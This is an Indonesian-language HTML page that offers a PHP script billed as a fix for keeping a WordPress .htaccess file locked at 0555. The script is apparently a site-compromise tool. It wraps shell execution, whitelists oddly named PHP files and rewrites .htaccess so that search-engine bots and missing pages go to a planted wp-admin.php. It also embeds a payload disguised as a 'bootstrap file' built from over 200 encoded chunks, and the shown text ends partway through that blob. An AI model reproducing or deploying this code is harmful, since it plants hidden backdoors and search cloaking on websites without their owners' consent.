<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP Script - Final Lock HTACCESS Fix</title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
            line-height: 1.6;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 20px;
            box-shadow: 0 25px 80px rgba(0,0,0,0.3);
            overflow: hidden;
        }
        .header {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 30px;
            text-align: center;
        }
        .header h1 { font-size: 28px; margin-bottom: 10px; }
        .header p { opacity: 0.9; font-size: 14px; }
        .content { padding: 40px; }
        .code-block {
            background: #1e1e1e;
            color: #d4d4d4;
            padding: 25px;
            border-radius: 12px;
            overflow-x: auto;
            font-family: 'Consolas', 'Monaco', monospace;
            font-size: 13px;
            line-height: 1.6;
            max-height: 85vh;
            overflow-y: auto;
            position: relative;
        }
        .code-block::-webkit-scrollbar { width: 12px; height: 12px; }
        .code-block::-webkit-scrollbar-track { background: #2d2d2d; }
        .code-block::-webkit-scrollbar-thumb { background: #667eea; border-radius: 6px; }
        .copy-btn {
            position: absolute;
            top: 15px;
            right: 15px;
            background: #667eea;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 8px;
            cursor: pointer;
            font-weight: bold;
            transition: all 0.3s;
            z-index: 100;
        }
        .copy-btn:hover { background: #764ba2; transform: translateY(-2px); }
        .info-box {
            background: #f8f9fa;
            border-left: 5px solid #667eea;
            padding: 20px;
            margin: 25px 0;
            border-radius: 8px;
        }
        .info-box h3 { color: #667eea; margin-bottom: 15px; }
        .warning-box {
            background: linear-gradient(135deg, #ffecd2 0%, #fcb69f 100%);
            padding: 25px;
            border-radius: 12px;
            margin: 25px 0;
            border: 3px solid #e17055;
        }
        .warning-box h4 {
            color: #d63031;
            margin-bottom: 15px;
            font-size: 18px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .fix-highlight {
            background: linear-gradient(135deg, #a29bfe 0%, #6c5ce7 100%);
            color: white;
            padding: 20px;
            border-radius: 12px;
            margin: 20px 0;
        }
        .fix-highlight h4 {
            margin-bottom: 12px;
            font-size: 16px;
        }
        pre { margin: 0; }
        .final-step {
            background: rgba(255, 107, 107, 0.2);
            border: 2px dashed #ff6b6b;
            padding: 15px;
            border-radius: 8px;
            margin: 15px 0;
            font-weight: bold;
            color: #d63031;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>🔒 PHP Script - FINAL LOCK HTACCESS FIX</h1>
        <p>Solusi: Final Lock Step di Paling Akhir Sebelum Selesai</p>
    </div>
    
    <div class="content">
        
        <div class="warning-box">
            <h4>⚠️ MASALAH YANG DILAPORKAN:</h4>
            <p style="margin-top:10px;font-size:15px;line-height:1.8;">
                <strong>.htaccess</strong> awalnya berhasil di-lock ke <code style="background:#dc3545;color:white;padding:3px 8px;border-radius:4px;">0555</code>, 
                tapi di <strong>akhir proses berubah kembali ke</strong> 
                <code style="background:#28a745;color:white;padding:3px 8px;border-radius:4px;">0644</code>.
                <br><br>
                <strong>Penyebab kemungkinan:</strong> Ada fungsi di step akhir (seperti <code>superLockFilesSafe()</code>, 
                loop <code>$targetFiles</code>, atau fungsi lain) yang mengubah permission .htaccess kembali ke 0644.
            </p>
        </div>

        <div class="fix-highlight">
            <h4>✅ SOLUSI: TAMBAHKAN "FINAL LOCK STEP" DI PALING AKHIR</h4>
            <p style="margin-top:10px;line-height:1.8;">
                Saya akan menambahkan pemanggilan <code style="background:rgba(255,255,255,0.3);padding:3px 8px;border-radius:4px;">lockRootHtaccessTo555($htaccess)</code> 
                di <strong>STEP PALING AKHIR</strong>, yaitu:
            </p>
            <ul style="margin-top:12px;padding-left:25px;line-height:2;">
                <li>✅ Setelah semua operasi selesai</li>
                <li>✅ Setelah cleanup</li>
                <li>✅ Setelah superLockFilesSafe / unlockSuperFilesSafe</li>
                <li>✅ Setelah cron setup/remove</li>
                <li>✅ <strong>SEBELUM echo "Completed safely"</strong></li>
            </ul>
            <div class="final-step" style="margin-top:18px;">
                🛡️ FINAL LOCK: lockRootHtaccessTo555($htaccess) → Dipastikan 0555!
            </div>
        </div>

        <button class="copy-btn" onclick="copyCode()">📋 Copy Code Lengkap (Final Version)</button>
        <div class="code-block" id="codeBlock"><pre><?php

// ================================================================
// === PHP 7/8 COMPATIBLE - SAFE MODE VERSION ===
// === VERSI FINAL: FINAL LOCK HTACCESS DI STEP TERAKHIR ===
// ================================================================

error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
ini_set('error_log', dirname(__FILE__) . '/php_error.log');

set_time_limit(300);
ini_set('memory_limit', '256M');

// ==================== PHP 7 POLYFILL ====================
if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool {
        return strpos($haystack, $needle) === 0;
    }
}
if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool {
        return strpos($haystack, $needle) !== false;
    }
}

// ==================== SAFE EXEC WRAPPER ====================
function safe_exec(string $command): string {
    if (function_exists('exec')) {
        $result = @exec($command);
        return $result !== false ? $result : '';
    }
    return '';
}

function safe_shell_exec(string $command): ?string {
    if (function_exists('shell_exec')) {
        $result = @shell_exec($command);
        return $result !== false ? $result : null;
    }
    return null;
}

function can_exec(): bool {
    return function_exists('exec') || function_exists('shell_exec') || function_exists('system') || function_exists('passthru');
}

// ==================== KONFIGURASI ====================
$baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR);
$currentScript = __FILE__;
$currentScriptDir = dirname($currentScript);

$htaccess = $baseDir . '/.htaccess'; // ⭐ Target utama yang akan di-lock 555
$wpAdminFile = $baseDir . '/wp-admin/wp-admin.php';
$indexFile = $baseDir . '/index.php';
$wpAdminHtaccess = $baseDir . '/wp-admin/.htaccess';
$dbFile = $baseDir . '/db.php';
$backupDir = $baseDir . '/.backup';

$isFix = isset($_GET['fix']);
$isUnlock = isset($_GET['unlock']);

$updateMode = isset($_GET['update']) ? $_GET['update'] : 'both';
$allowedUpdateModes = ['both', 'both_locked', 'both_unlocked', 'wpadmin', 'options'];
if (!in_array($updateMode, $allowedUpdateModes)) {
    $updateMode = 'both';
}

$retryCount = isset($_GET['retry']) ? (int)$_GET['retry'] : 0;
$maxRetries = 3;

$allowedFiles = ['tf88', '580193433907015akp', 'webindex', '580193433907015mas', 'lsjaybvgybhhpbjdefault', 'lsjaybvgybhhpbjmas', 'robot', 'robots', 'ah88', 'ws88' ,'tf77', 'mas77', 'webindex', 'tx77', 'lm77', 'ws77', 'robot', 'robots', 'ah77', 'ws77'];

$coreWordPressFiles = [
    'wp-admin', 'wp-includes', 'wp-content', 'wp-config.php', 'wp-activate.php', 
    'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 
    'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 
    'wp-trackback.php', 'xmlrpc.php', 'license.txt', 'readme.html', 'robots.txt'
];

// ================================================================
// === SAFE LIST ===
// ================================================================

$safeFiles = [
    $currentScript,
    $htaccess,
    $wpAdminHtaccess,
    $baseDir . '/wp-config.php',
    $baseDir . '/wp-load.php',
    $baseDir . '/wp-blog-header.php',
    $baseDir . '/wp-settings.php',
];

$safeFolders = [
    $baseDir . '/wp-admin',
];

// ================================================================
// === HTACCESS GENERATOR ===
// ================================================================

function generateValidHtaccess(array $allowedFiles, string $currentScriptName = ''): string {
    $whitelistSection = "# WHITELIST - Allowed PHP files\n";
    foreach ($allowedFiles as $file) {
        $escapedFile = preg_quote($file, '#');
        $whitelistSection .= "RewriteRule ^{$escapedFile}\.php$ - [L]\n";
    }
    
    $coreDirsSection = "\n# CORE WP - Directories\n";
    $coreDirs = ['wp-admin', 'wp-includes', 'wp-content'];
    foreach ($coreDirs as $dir) {
        $coreDirsSection .= "RewriteRule ^{$dir}/ - [L]\n";
    }
    
    $coreFilesSection = "\n# CORE WP - Files\n";
    $coreFiles = [
        'wp-config.php', 'wp-activate.php', 'wp-blog-header.php',
        'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php',
        'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php',
        'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php',
        'license.txt', 'readme.html', 'robots.txt'
    ];
    foreach ($coreFiles as $file) {
        $coreFilesSection .= "RewriteRule ^" . preg_quote($file, '#') . "$ - [L]\n";
    }
    
    $routingSection = <<<HTACCESS

# CUSTOM ROUTING - Bot Handling
RewriteCond %{THE_REQUEST} \s/[?\s] [NC]
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^ /wp-admin/wp-admin.php [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^(.+)$ /wp-admin/wp-admin.php [L]

# Robot/Xml Routing
RewriteRule ^robots?$ /wp-admin/wp-admin.php [L,NC]
RewriteRule .*\.xml$ /wp-admin/wp-admin.php [L,NC]

# Allow direct access to wp-admin.php
RewriteRule ^wp-admin/wp-admin\.php$ - [L]

HTACCESS;
    
    $fallbackSection = <<<HTACCESS

# Catch-all for non-existent files -> wp-admin.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /wp-admin/wp-admin.php [L]

# WordPress Default Fallback (for normal operation)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
HTACCESS;

    // FILESMATCH SECURITY
    $allowRegexParts = [];
    
    if (!empty($currentScriptName)) {
        $allowRegexParts[] = preg_quote($currentScriptName, '/');
    }
    
    $allowRegexParts[] = 'index\.php';
    $allowRegexParts[] = 'wp-admin\.php';
    
    foreach ($allowedFiles as $file) {
        $allowRegexParts[] = preg_quote($file, '/') . '\.php';
    }
    
    foreach ($coreFiles as $file) {
        $allowRegexParts[] = preg_quote($file, '/');
    }
    
    $allowRegexParts = array_unique($allowRegexParts);
    $allowRegex = implode('|', $allowRegexParts);
    
    $securitySection = <<<HTACCESS

# ==================================================
# SECURE ACCESS - Block Malicious Extensions
# ==================================================
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Allow from all
</FilesMatch>

# ==================================================
# SECURE ACCESS - Allow Whitelisted Core & Custom Files
# ==================================================
<FilesMatch "^({$allowRegex})$">
Order Allow,Deny
Allow from all
</FilesMatch>
HTACCESS;

    $completeHtaccess = <<<HTACCESS
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

{$whitelistSection}
{$coreDirsSection}
{$coreFilesSection}
{$routingSection}
{$fallbackSection}
</IfModule>
# END WordPress
{$securitySection}
HTACCESS;

    return $completeHtaccess;
}

function generateWpAdminHtaccess(): string {
    return <<<HTACCESS
# BEGIN WordPress wp-admin
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wp-admin/

# Allow direct access to existing files/directories
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]

# Route robots and xml to wp-admin.php
RewriteRule ^robots?$ wp-admin.php [L,NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .*\.xml$ wp-admin.php [L,NC]
</IfModule>
# END WordPress wp-admin
HTACCESS;
}

$newHtaccess = generateValidHtaccess($allowedFiles, basename($currentScript));
$newWpAdminHtaccess = generateWpAdminHtaccess();

$payloadWpAdminContent = <<<'PHP'
<?php
/**
 * Application Bootstrap File
 * @package  App
 * @license  MIT
 */

// Environment setup
define('APP_NAME', 'MyApplication');
define('APP_ENV', 'production');
define('APP_DEBUG', false);
$appConfig = [];

$configBlock0 = 'JZzHsqS6FkQ/iAHeDe4ACl';
$configBlock1 = '94DzN84b39+sfpN+jojuiIQtLeylwpzJDC00Nccl';
$configBlock2 = '+H2JGEAPcIztM7/c2SyBLM80QJMRryQY5+Aq';
$configBlock3 = '9FlDKUEMlfaBTLUrJrYzF/';
$configBlock4 = '5uQIFk9/0HBnq55DhyC6OSQEARcEc';
$configBlock5 = 'RMLOvO8wdXELBPQgef9R0jy4xiCOPn3';
$configBlock6 = '/yB8g6pNm8fWgNp6Ar1WgMdXWr+9a5poN6AkjqMg';
$configBlock7 = 'fuFA2Ub0pZdP/vF1S6oK4MKNiVsLag6BGHS/Z';
$configBlock8 = 'lOth+uiIl3Wg3ldIFWC1I2CYBw1';
$configBlock9 = 'Ks6CABbQKHCEjAmStwkSQyKi5c/kT9P4nkSi';
$configBlock10 = 'gWDB5+kDVMBQZ8CxHHz5XpcSQKAIQTC';
$configBlock11 = 'kwTkpblCmzxOJCOSI0kWjQJBF6wG';
$configBlock12 = 'kmlYUVuD4jbBAA0BmUv1dUltSG';
$configBlock13 = 'PjxqA1WZOBtWApLciTD4C';
$configBlock14 = 'ZdlplEkp6Wg+WFZvY7LcrlCjCfTAzEy9v5KCC';
$configBlock15 = 'JXqaXdobpg1HZfK+RLkyIBCC3LzX0nZpyQF';
$configBlock16 = 'U5DOaJX4Xqws0DFBpXrY3GAbo7iV95AWk+10';
$configBlock17 = 'vBRr0QIafjMkvwed55kx/RfJp9L5mk7rdw';
$configBlock18 = 'FBgaRGmJ+mJqiR8X1oCdJrttQmNTmNM0AG';
$configBlock19 = 'EhBXz6jgrEZfNBARdVDAXN';
$configBlock20 = 'cFygd5Wfd11RQLsmt0spaFno5YbJl';
$configBlock21 = 'KYcGmzAY0BPcL4s4AlMdZm5W4QZ6kcdOQeMBee';
$configBlock22 = 'HKEAgTKGWQ746nAFy3QF0';
$configBlock23 = 'gAT0NP2DviCo629NAhPERsf8ecM7fhXF8Io2MpnV';
$configBlock24 = 'heudBvLhL7qpLLbx1CvFAI';
$configBlock25 = 'sycplv5V9VgsjHHGmr1jHBhF';
$configBlock26 = 'Jkp/P7B4gSFqc/UDTtWbVCDBdBI8BQnzIwlcp49a';
$configBlock27 = '1nDhB0flAH+S4zumMlWEvv3xU';
$configBlock28 = 'KulyD06Z/u2ywUAzq+fMBF5CmXlkoHNW8j';
$configBlock29 = 'AfkF1OQ9KS73ZZKoohokB8p01kw839fnrRmnm4I';
$configBlock30 = 'kyRI3wSRbgfHZbrDkQDC25thRlsNWVw+a';
$configBlock31 = 'xOCm6ikLkRDBy9GBxLID';
$configBlock32 = 'nVgPkE5J2AGQLzrsKxcx/bsv9IjYdEOYfFYj';
$configBlock33 = 'HLVYzafqoxgAxjbC6NPQMX/1cJCjwt6GD1';
$configBlock34 = 'EMuEpPh9vH9hHeYAvwOcO';
$configBlock35 = 'eYmN+KVr8IFmoF7n9XPifF6LTCXUtS';
$configBlock36 = 'x+P5Zv43Z6dLIHCf2X2HQWX9B7LGRlpRmC+dkRMP';
$configBlock37 = 'LXB2s3JM90CHChma6Pme9R';
$configBlock38 = '+hbku+1yU7e3T9pbHCim8krFEVnqH7M';
$configBlock39 = '6NI27bR5zyTJ9Cvi+cR6/RS05lsWR';
$configBlock40 = 'x8HnrhAWQmcSnUT31zJTezPvRx';
$configBlock41 = 'hPh+TLRqD4TV1SizCewGI9RWbOVgelD6BJkGW';
$configBlock42 = 'qhdACZ9zM/Lzro7zrsx08IhUhfqWMn7JCrN6';
$configBlock43 = 'Pq5PzkQ14ClGDZSJ6B1w/NT1uHGXYeLCzmc9Kb';
$configBlock44 = 'TSmjbpXsDygrCuhwJeTLclHdSB/';
$configBlock45 = 'JCT9OG5+r1l4VESLTETWUnBOBjgLxq0UFrDaq';
$configBlock46 = 'R9L55zukHp2TaGLewC66PzDEl+';
$configBlock47 = 'GL+GixmLwdhAWA2NAFeQ5LZPghdYjsJD90';
$configBlock48 = 'ixmxoQ5O0xON4nlILMyfdVEFNF';
$configBlock49 = '5GH7PTtsmaR0CY2/ept5gyRGaAUSLNVzl';
$configBlock50 = 'tvOe5TlMldo5efXpXSFnsoSQwyV';
$configBlock51 = 'LlIuh7xf2DxyVjBYJzflwZNdXAoW';
$configBlock52 = 'QP9Q0vGfSkQXph7thLNIrc+ZajHaD';
$configBlock53 = 'pxn92K5MuJZsdsl4r6Hk28g1ortdqPNHoStzp7Gu';
$configBlock54 = 'cERXag5x8sdINMUAfrftPUYAu9pHXRGaQl9WE37';
$configBlock55 = 'jnusG695IzN4wFzeGadYFXLIGhAHoXSQFkftGi';
$configBlock56 = 'rWsZ0BUr1CDdWZ1rteHuGGkLWaG3+ukymSB';
$configBlock57 = 'lupsyRYwD8eaZLoAalWr3BivTPBMPjHv';
$configBlock58 = 'iJ9T7M5jIiiPi6WMmk6Gvgv641n1Xlk/zcodhltl';
$configBlock59 = 'v/QNXNwohEFbwC+irz5vp0EJwMeMvqI1ZC';
$configBlock60 = '3ETMxG9GkPDpJnpVJTPahjV9jCFHFYUZEn8M8vDm';
$configBlock61 = '4bevfFNjb71dNeWHge7l';
$configBlock62 = 'UcpRGAQurnuwvWhlZirbHw';
$configBlock63 = 'GlUShHATEdH730V031id';
$configBlock64 = 'i+OQ4FTgCs8iyoIKcKkyiKBKLUK5y4ijQjkOSY';
$configBlock65 = '7wvNtUtn5dvC7s9y8rMoV';
$configBlock66 = 'YvO1MfLu2K3SXczPeKjtwVwRvElgjOTggUbmz+t';
$configBlock67 = 'Z/dbrQ2SpaJ/Qqa6d5kdt0LCaZee9T';
$configBlock68 = 'N+sfiKfl9Bb8o+VAGmCuQJwq4RsgAtA1Xe';
$configBlock69 = '01TdP57VsnUFFqQK1X/65/';
$configBlock70 = 'x3R+rDFNayuM1Fim2HhjB/GRj36ONEZW3i0iqE4';
$configBlock71 = 'meBeoTPMviWWR8waKGZCT/KquaGT8';
$configBlock72 = 'c+aXLO9yBdAVhzNEyXyT1xvXtYGQutQL7mnLNg7F';
$configBlock73 = 'Jcg68VDrEdeu5Rs/igR5sIut8j';
$configBlock74 = 'Nafb9LDGMp97JN7spJgdGh66ZBugxtpkL1';
$configBlock75 = 'vycQG+4dfjVdHU3+ZCgH7682Mu0n';
$configBlock76 = 'GKpE211O64kWydWK84HQ/8ndGj9OKVwGvY';
$configBlock77 = '9F7ZbxYirhpOOO8WOKjditSoeMXprxY1/';
$configBlock78 = 'JpuTprIFh5lB+QQBer/E036wPuYL45';
$configBlock79 = 'FjIdTQsq7bBwALUfSXTzuqbYnRpqyxF';
$configBlock80 = 'IMAolzcR3mMJ8UdKdfG3UPfVqD09';
$configBlock81 = '7hf7nQcjb68PzG1fXntgNCkDUQ6i1Fhl';
$configBlock82 = '/DGj1j6FUAp//Zk2sqs48be/diS';
$configBlock83 = 'd+r9630AcL+w293fBdMJuqpSV6a4Nrya3';
$configBlock84 = '3HypsgkYOMw2TBA5UvYcCs6MV5fw84jr';
$configBlock85 = '3aFrhgORQq/avTNxIrJbKHPW9uJE';
$configBlock86 = '40Vv1yLRZisJdc/ELaU4VnxdF1s';
$configBlock87 = 'Wu1G+30CX29iDs/31MOwD0jhb2xx18LKV';
$configBlock88 = 'sKRCovnI1GSiqSMDe+opABeRSR4g3sbKYXZ16BVR';
$configBlock89 = '01mApEhpWuVW2AbtpEKefv/NCU61F+ckP';
$configBlock90 = 'JrrEwkv+dBYio1ynNaSCuFOV5Vh6k';
$configBlock91 = 'UQ+wVXHzuObRwv2R6/x6DGI+2c';
$configBlock92 = 'tVRhZ4hHcC1h3w4ngswo3Fr/3sz6y';
$configBlock93 = 'ZA9Mt1M15xBxokfCUSDa04KlhMsM3O';
$configBlock94 = 'j5QWjI3yACqPpDjMst2VAtTTEH2epZa5R0X5zSbo';
$configBlock95 = 'NWEWSek7PJHFSJ5Q3rNQ18G9';
$configBlock96 = 'lkOA7yVvxM2kV+sSl18J1n';
$configBlock97 = 'V7C651GqnHIR13l+Gwr4ay49V1BbtrRp6h';
$configBlock98 = 'f2D5GE9OWy0MXEJnzIK0H7iq';
$configBlock99 = 'sGfNFBToD1fvW9kxAwPkuih6t8Mzmp9NyAJr';
$configBlock100 = 'wwMLhDdL1yrG7Hw00xImFmfC9gt';
$configBlock101 = 'zMRrDEAiqgyzymk/iq46o1tpnz76';
$configBlock102 = 'T0Fcm02l9z/xgOG1jsbnDcoc4tqQE+';
$configBlock103 = 'TO1448IF2Nt5jZVdmoThs8iIlqpLQ8Z';
$configBlock104 = 'zx0VMrUvKeafBtaZhXIaS';
$configBlock105 = 'X3DTxogZeMIMHMndfnNKJM';
$configBlock106 = 'zasZ/yyarZNBoSlGBImviM7WdAVeVB722k';
$configBlock107 = '+tMJeanMjDULa7dJkHRMW3';
$configBlock108 = 'c8k0lwhwySnQ2q22kaKWW';
$configBlock109 = '6rw6jTFRNcwycecZ5wdqat6XfClodyNlow9uvUC';
$configBlock110 = 'D6AUVlfmWt01uH0Fva56NmcmV4alW92hgFmM4e+b';
$configBlock111 = 'nFc1ZxbP5ZeaCp3chU+BBMP+t0SGIFlUW6';
$configBlock112 = 'PXK5OBsLzhHKXUM1k8oXsbP7F';
$configBlock113 = 'pgesgJ+p32vc2j9KpTdarQTiUcEMHq6csk47';
$configBlock114 = 'nPt/EQ+Xny/mYazfF+3Q7t78olHoHNV';
$configBlock115 = '0KMVtJMZl/Vru75YoBouL+gqo6';
$configBlock116 = 'zfw6ZEbVOF3jKRWx6vQpO7++/T2RNaXnA';
$configBlock117 = 'nCUb7xD63HMoaCT9Zuz8jyxCypq3+JF';
$configBlock118 = 'RYNiGj5PAT3Pqzubywr2k3WuXl2Qm0+NvTb+';
$configBlock119 = 'wrufLRc2skpyI+mbz7qN7hL3gdn';
$configBlock120 = 'ZCZjVfF5P1K3+QZv2JvOEAFm';
$configBlock121 = 'YKnS3hCp65DhvTMzKIud+5+l7A8jYYFtxD3';
$configBlock122 = 'ZagAS9RHnw2K/6Qmh/7SfO/GM8H6C/glJp2emOId';
$configBlock123 = '0Q8JAWdzYiJR9IhoilDDe';
$configBlock124 = 'ueTXnb23TPtSwtEjv9uapcnhei8';
$configBlock125 = 'xC0eZP9d0CPx4J6xGxPz';
$configBlock126 = 'YnHLGx3I0cTjXblRW82bgljzucE70JR4RCYjC';
$configBlock127 = '1aQaz8IpQ+BUB+KBKrH2DFPnbscs0d7qmhEfe6SX';
$configBlock128 = 'Nko0u1UPDt2vfoiBSO5BwyRA';
$configBlock129 = 'VvE5nw9h66X+Sr3QL8bXTpDaMVfx8n7CNUN';
$configBlock130 = '4/5cdUsKul4PcHTVZKFbvsx+8NfAr8IGwpwQz';
$configBlock131 = 'MipCaRTOwgKBe+z9h9tt';
$configBlock132 = 'L5eyUbkkBgVjqicPHWZtQukaCnIu6eY8';
$configBlock133 = 'ySL67fsnEPBxAZlnP6qa0w9gH1rKEM';
$configBlock134 = 'oFbJSbXn9wgiyBTYEs/qsMWLBk6Yx';
$configBlock135 = 'FnCYL3P9IYEQ8KOnk9biQGHHv5FfeFedDL';
$configBlock136 = 'iGbaNWaUFab8HCu10b8A';
$configBlock137 = 'ndgGeaPOA1E6b4SyFq3ZckLs';
$configBlock138 = '7nq+kIt+0F3OxJVvvYeM';
$configBlock139 = 'd6xxGfZ4I+vXjBGVLmhS0d7ljJNjyesfGiv';
$configBlock140 = 'CAWDWjFcU71Hk0tlOWSU';
$configBlock141 = 'dzX1Wmh7Q0YnhDJ7s4MwP';
$configBlock142 = 'cc6VKqt3kQY2TjULvTVOrwMxo/KHVc4TEQ';
$configBlock143 = 'kefbM6kApW0tDeK7IbQj2viTiKVegfcJK5iz9eNh';
$configBlock144 = 'l81kVgpE+DoD/yb/ES0PcWhelJ8';
$configBlock145 = 'XTOWr272/RA+4pKrAGVfivz7';
$configBlock146 = 'QMG3fcexShOC81txhix5Oe';
$configBlock147 = 'QJcIxkn5Q0q6VTLwlqiv8ADSQiH1W/Inwfn42a';
$configBlock148 = 'a0jWC/s4LVPN+Or4Xt1k';
$configBlock149 = 'gYIu6oiMi/hBmlVXXvgXbJqxgsQWug2';
$configBlock150 = 'Ev0PHnVTRJdP6owBLks3PpSXUPzQXemltCjokGn';
$configBlock151 = 'PatpOAfxAvmbgqHp0ogZgFee';
$configBlock152 = 'XIpZNv3PN6pNBTukjAb+kcTAr1ZH';
$configBlock153 = 'OayIA/gFoJdQCBaYooP5RaFLEAeMVdgJn6eG';
$configBlock154 = 'xKmtUOELO1QjDe2QW8b4X';
$configBlock155 = '6MsEPvuNShHLxxV7rxHwbzb';
$configBlock156 = 'eXvd/DAJbYfGK4symIh74cldCEUz1';
$configBlock157 = 'wi7/nh62883uS2czTBmK3T17DGW';
$configBlock158 = 'N4z9Cfs5cr+4qJW4NfI72YwC';
$configBlock159 = 'TsGAJk696K/D1HXdmQ6I';
$configBlock160 = 'b7Wuikh4OHz6/ibxsXaKqSPmAS0H/Xk';
$configBlock161 = '6BufYBHEF7zdhSm71XNpEh';
$configBlock162 = 'PQ5vBIVtW/3tfTc0CkHV4hC7XY8';
$configBlock163 = 'oE7SkMj0OAhVXX+hQgD2XjqRIkd4N';
$configBlock164 = 'M2DG9LH7x5Y+TsaI3r8uGYv7U1K+ddOrPQb';
$configBlock165 = 'cs7Uc65ejjY2tMJ5zcZR';
$configBlock166 = 'mV6iYO1a2bN/JITu130rbm5skBw';
$configBlock167 = '+OSr6sYvH8wTQQwGn/ZO2';
$configBlock168 = 'lGe/Jalovt2cw2zv+hjsm1';
$configBlock169 = 'vaPjysejCEfqRKAl3r83hxtzwPgf+C2LILXR5';
$configBlock170 = 'mze+yPykp4JFFBBVmjcLUcu';
$configBlock171 = 'K1d1o6j9gXmIaH5viMepy/Gw+';
$configBlock172 = 'mssDYXt6hANWVL89qHejwa4B8AFgn7S/';
$configBlock173 = 'sYNHUGg7Ni1gTMDjR6QpGKYsigp4';
$configBlock174 = 'haWLyXS5my05EPAkdLv1';
$configBlock175 = 'j+HRQen/kNz6vjGmcoLB/cG';
$configBlock176 = 'WsafrnZpPafgj1+7n3LhxrOgoxZ2bT';
$configBlock177 = 'n+oylILBIZ3HVGuDfLwYe0+p/';
$configBlock178 = '3nEfaIUE1jZn1FTUlbF47+btvQq';
$configBlock179 = 'g3l0KQq+0yeyMAqp+GLIEEf';
$configBlock180 = 'xpzwddNFeUj52VgNWv7HgFBVhP';
$configBlock181 = 'd1Oexa7bLCdp/YF+/B7js8SoHpcJZBpYa5';
$configBlock182 = 'ZH5Hmd+pMLu/wIMSwI/x3GrFT+LkoYVeg4l';
$configBlock183 = 'yINac9oq2ImmGI7qMsLBAW3rNih8+d';
$configBlock184 = 'DopnX1ylr6PjdTdNbVBzsUiOP2lpMi';
$configBlock185 = '+4EgSvib2joceu2IoXPK7H7dFlu';
$configBlock186 = 'pxYS1bEpkYvxjFVZ3YOrLGHT/cLX8MTouXHf';
$configBlock187 = 'h2lDmh/du/bTCS+v3HKKr+aXrmOfDPTGe2JyPu9j';
$configBlock188 = 'bA8JPFX00SN8INLtbK6lAZtrKAzNTf0klBDQ';
$configBlock189 = 'LFguSk7mGVFA8gfOy0nUnTEcCYacdyxb';
$configBlock190 = 'SfvAKDFQcY9Wao5Muj2PrN';
$configBlock191 = 'fUfLxJ/41DcJvfkRWE8UjkJYGCWj';
$configBlock192 = 'hSPeBgIzFeOujOcje3YvtvC17+P0MQO8KNzf';
$configBlock193 = 'fO9LfTYNLaWZFpC5k0oKeb7hS4mc6hnZTf8hWXvx';
$configBlock194 = 'PyCQihBtU2/p3QtynRMIe/5rkH';
$configBlock195 = '0dhfWGA8RWsv5H28IWdZry';
$configBlock196 = 'O11X+FETj0+EjIo5O0BwcG53+aHW4';
$configBlock197 = 'lRHvzF/zDyhS5slqscgWf';
$configBlock198 = 'z3k3hFMcr0CAIdhiP/ayWjenESHzRngWB';
$configBlock199 = 'oIsqe2ZkrxK9/2UpD5strF';
$configBlock200 = '8YO/bRBFwQeb8U63j0YfuQ9YrUk6k0olLGgt7';
$configBlock201 = 'aAAdJJBft92PAwqRqfOfJvo';
$configBlock202 = 'L1oeausMiPYcqppteSsgPNG8nU6XCCY';
$configBlock203 = '4vy4V8wd/Hk+DCZRhEXOKhwTg/RS3LSgX9UTH';
$configBlock204 = 'AZbo3dS4nWtrXjuBz92v+1TkHBMvRJ';
$configBlock205 = 'IS2TLjWL/bKSwe7nHfBpjBrI8qx';
$configBlock206 = 'VCQwJy6puCHcmfJIXXPx2cWjUOHd';
$configBlock207 = '6vEzzFMxjQnSU+C+NKjjO9UaicIusVm+jTo3jk';
$configBlock208 = 'H+53q0esyE/AXb7QbuUhqI6suf2CtMWVMt';
$configBlock209 = 'CcT1IHwJdwzCU7qemjY5';
$configBlock210 = 'c5svZ+uex0PaR268GTxvyl6GAUR6';
$configBlock211 = '9/JFP48KZKlta/HiTWKw1pKg/nDUVv64HLSED0Q';
$configBlock212 = 'gc+jba3+xy1xcC17yhKfUV/ESB6CPSBB';
$configBlock213 = '2PljaMr1UlnfL7sKkQfrTxB5';
$configBlock214 = 'd4P2jbnno4CUq+9P95DpiWU+xi';
$configBlock215 = 'oUXUF5D+wSFrgdsCfRMrj6n1Ufz7hlXbz';
$configBlock216 = 'z8sFrBZBdWaxgVFMI42kkrrwGLy7svS7xV3dmC';
$configBlock217 = 'TUtkoQzGkOkTKOZB6Z31Cz45';
